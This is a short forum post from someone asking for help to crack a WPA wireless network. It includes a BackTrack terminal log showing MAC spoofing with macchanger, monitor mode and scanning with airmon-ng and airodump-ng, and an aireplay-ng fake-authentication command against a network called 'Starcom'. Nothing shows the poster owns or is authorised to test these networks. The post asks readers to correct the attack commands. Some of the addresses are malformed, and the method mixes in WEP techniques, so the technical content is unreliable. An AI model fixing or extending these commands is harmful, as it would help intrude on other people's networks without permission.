Dear friend someone pls tell me whats wrong in my attempt to crack wpa/

pls mention wat change i have to make in the commad

[COLOR="DarkOrange"]bt ~ # airmon-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0)
bt ~ # airmon-ng stop ath0
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
bt ~ # ifconfig wifi0 down
bt ~ # macchanger --mac 00:11:22:33:44:55 wifi0
Current MAC: 00:1r:9y:b0:bk:15 (unknown)
Faked MAC: 00:11:22:33:44:55 (Cimsys Inc)
bt ~ # airmon-ng start wifi0
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
bt ~ # airodump-ng ath0
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:1B:57:FD:79D 13 24 0 0 11 54 WPA TKIP PSK Starcom
00:18:39:2C5:EC 12 5 0 0 11 54. WEP WEP haseeb
bt ~ # aireplay-ng -1 0 -a 00:1B:57:FD:79D -h 00:11:22:33:44:55 -e hacker ath0